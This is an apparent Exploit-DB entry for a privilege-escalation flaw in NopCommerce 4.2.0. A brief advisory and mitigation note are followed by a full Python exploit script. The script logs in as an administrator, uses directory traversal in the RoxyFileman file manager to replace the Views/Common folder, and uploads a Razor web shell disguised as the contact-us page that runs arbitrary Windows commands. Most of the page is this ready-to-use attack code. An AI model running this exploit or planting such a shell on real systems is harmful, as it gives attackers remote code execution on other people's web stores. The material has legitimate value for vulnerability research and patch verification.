header-logo
Suggest Exploit
vendor:
NopCommerce
by:
Alessandro Magnosi (d3adc0de)
8.8
CVSS
HIGH
Privilege Escalation
22
CWE
Product Name: NopCommerce
Affected Version From: 4.2.0
Affected Version To: 4.2.0
Patch Exists: YES
Related CWE: N/A
CPE: a:nopcommerce:nopcommerce:4.2.0
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10, CentOS, Docker
2019

NopCommerce 4.2.0 – Privilege Escalation

A vulnerability in NopCommerce 4.2.0 allows an attacker to gain elevated privileges by exploiting a directory traversal vulnerability in the RoxyFileman file manager. An attacker can use this vulnerability to gain access to the web server's file system and execute arbitrary code. The vulnerability can be exploited by sending a specially crafted HTTP request to the vulnerable application.

Mitigation:

To mitigate this vulnerability, it is recommended to upgrade to the latest version of NopCommerce and ensure that all security patches are applied.
Source

Exploit-DB raw data:

# Vulnerability Title: NopCommerce 4.2.0 -  Privilege Escalation
# Author: Alessandro Magnosi (d3adc0de)
# Date: 2019-07-07
# Vendor Homepage: https://www.nopcommerce.com/
# Software Link : https://www.nopcommerce.com/
# Tested Version: 4.2.0
# Vulnerability Type: Privilege Escalation
# Tested on OS: Windows 10, CentOS, Docker
# Exploit designed for: NopCommerce 4.2.0 on IIS

import requests
import argparse
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

def proxy(flag):
    return {"http" : "http://127.0.0.1:9090", "https" : "http://127.0.0.1:9090"} if flag else None

def geturl(baseurl, type):
    if type == "login":
        return baseurl + "/login"
    elif type == "mv":
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=RENAMEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2fCommon%2f&n=Common2"
    elif type == "mkdir":	
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=CREATEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2f&n=Common"
    elif type == "put":	
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=UPLOAD"
    elif type == "contactus":    
        return baseurl + "/contactus"
    else:
        return ""

def login(email, password, url, proxy):
    res = requests.get(geturl(url, "login"), proxies=proxy, verify=False, allow_redirects=False)
    cookie = res.cookies.get_dict()
    soup = BeautifulSoup(res.text, features="html.parser")
    token = soup.find("input", {"name":"__RequestVerificationToken"})["value"]
    res = requests.post(geturl(url, "login"), cookies=cookie, data={"Email":email, "Password":password, "__RequestVerificationToken":token, "RememberMe":"false"}, proxies=proxy, verify=False, allow_redirects=False)
    cookies = res.cookies.get_dict()
    return { **cookies, **cookie }

def shellupload(email, password, url, proxy):
    print("[+] Trying uploading shell from")	
    cookies = login(email, password, url, proxy)
    # Rename Common Directory
    requests.get(geturl(url, "mv"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
    # Create Common Directory
    requests.get(geturl(url, "mkdir"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
    # Upload File into Common
    requests.post(geturl(url, "put"), headers={"Content-Type" : "multipart/form-data; boundary=---------------------------3125261928760" ,"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, data="-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\najax\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"d\"\r\n\r\n/images/uploaded/../../../../../../../../../../inetpub/wwwroot/nopcommerce/Views/Common/\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"ContactUs.cshtml\"\r\nContent-Type: image/png\r\n\r\n@using System\r\n@using System.Diagnostics\r\n\r\n@{ \r\n    ViewData[\"Title\"] = \"MVC Sh3ll Windows\";\r\n    var result = \"\";\r\n    var cmd = Context.Request.Query[\"cmd\"];\r\n    if (!String.IsNullOrEmpty(cmd)){\r\n        result = Bash(cmd);\r\n    }\r\n\r\n    if (String.IsNullOrEmpty(result)){\r\n        result = \"Invalid command or something didn't work\";\r\n    }\r\n\r\n}\r\n\r\n@functions{\r\n    public static string Bash (string cmd)\r\n    {\r\n        var result = \"\";\r\n        var escapedArgs = cmd.Replace(\"\\\"\", \"\\\\\\\"\");\r\n        var process = new Process()\r\n        {\r\n            StartInfo = new ProcessStartInfo\r\n            {\r\n                FileName = \"cmd.exe\",\r\n                Arguments = $\"/C \\\"{escapedArgs}\\\"\",\r\n                RedirectStandardOutput = true,\r\n                UseShellExecute = false,\r\n                CreateNoWindow = true,\r\n            }\r\n        };\r\n\r\n        process.Start();\r\n        result = process.StandardOutput.ReadToEnd();\r\n        process.WaitForExit();\r\n\r\n        return result;\r\n    }\r\n}\r\n\r\n\r\n\r\n<script\r\n  src=\"https://code.jquery.com/jquery-3.2.1.min.js\"\r\n  integrity=\"sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4=\"\r\n  crossorigin=\"anonymous\"></script>\r\n<script>\r\n$(function() {\r\n    var cmdResult = $(\"#cmdResult\");\r\n\r\n\tconsole.log(cmdResult);\r\n\r\n\tif (cmdResult.text() === \"Invalid command or something didn't work\"){\r\n\t    console.log(\"should change text\");\r\n        cmdResult.css(\"color\", \"red\");\r\n\t}\r\n\t\r\n\tvar term = $(\"#console\");\r\n    $(\"#cmd\").focus();\r\n\tterm.scrollTop(term.prop(\"scrollHeight\"));\r\n\t\r\n\t$.urlParam = function(name){\r\n        var results = new RegExp('[\\?&]' + name + '=([^&#]*)').exec(window.location.href);\r\n        if (results==null){\r\n           return null;\r\n        }\r\n        else{\r\n           return decodeURI(results[1]) || 0;\r\n        }\r\n    }\r\n\r\n\t\r\n\tfunction executeCmd(){\r\n        var cmd = encodeURIComponent($(\"#cmd\").val());\r\n\t    var currentCmd = $.urlParam('cmd');\r\n\t    console.log(\"should replace: \" + currentCmd + \" WITH: \" + cmd);\r\n\r\n\t    var currentUrl = location.href;\r\n\r\n\t    var paramDelimeter = \"\";\r\n\t    if (currentUrl.indexOf(\"?\") < 0){\r\n\t        paramDelimeter = \"?\";\r\n\t    } else {\r\n\t        paramDelimeter = \"&\";\r\n\t    }\r\n        \r\n\t    if (currentUrl.indexOf(\"cmd=\") < 0){\r\n            currentUrl = location.href + paramDelimeter + \"cmd=\";\r\n\t    }\r\n\t\r\n        var newUrl = currentUrl.replace(/cmd=.*/, \"cmd=\"+cmd);\r\n        window.location.href = newUrl;\r\n\r\n\t    //console.log(newUrl);\r\n\t}\r\n\t\r\n    $(\"#submitCommand\").click(function(){\r\n\t    executeCmd();\r\n\t})\r\n\r\n\t$(\"#cmd\").keypress(function (e) {\r\n\t    if (e.which == 13) {\r\n\t        executeCmd();\r\n\t        return false;\r\n\t    }\r\n\t});\r\n\r\n\t$(\"#cmd\").on(\"change paste keyup\", function(theVal){\r\n\t    var cmd = $(\"#cmd\").val();\r\n\t    $(\"#cmdInput\").text(cmd);\r\n\t});\r\n});\r\n\r\n</script>\r\n\r\n\r\n<h3>@ViewData[\"Title\"].</h3>\r\n<h4>@ViewData[\"Message\"]</h4>\r\n<h4>Output for:> <span style=\"font-family: monospace; font-weight: normal;\">@cmd</span></h4>\r\n\r\n\r\n<pre id=\"console\" style=\"color: #00ff00;background-color: #141414;max-height: 606px;\">\r\nC#:>@cmd\r\n\t\r\n<span id=\"cmdResult\">@result</span>\r\n\t\r\nC#:><span id=\"cmdInput\"></span>\r\n</pre>\r\n\r\n<br />\r\n\r\n<p>Enter your command below:</p>\r\n<span style=\"display: inline-flex !important;\">\r\n    <input  id=\"cmd\" class=\"form-control\" type=\"text\" style=\"width: 400px;\" /> \r\n\t<button id=\"submitCommand\" class=\"btn btn-primary\">Send!</button>\r\n</span>\r\n\r\n-----------------------------3125261928760--", proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
    # Test if it is working
    res = requests.get(geturl(url, "contactus"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
    soup = BeautifulSoup(res.text, features="html.parser")
    test = soup.find("span", {"id" : "cmdResult"})
    if test is None:
        print("[-] Maybe the target is not vulnerable, or you need to restart the appliance")
    else:
        print("[+] Shell uploaded under contact us page")

def main():
    parser = argparse.ArgumentParser(description='Upload a shell in NopCommerce')
    parser.add_argument(
        '-e', '--email', required=True, type=str, help='Username')
    parser.add_argument(
        '-p', '--password', required=True, type=str, help='Password')
    parser.add_argument(
        '-u', '--url', required=True, type=str, help='Base Url of NopCommerce')
    parser.add_argument(
        '-x', '--proxy', required=False, action="store_true", help='Proxy (for debugging)')

    args = parser.parse_args()

    shellupload(args.email, args.password, args.url, proxy(args.proxy))

if __name__ == '__main__':
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    main()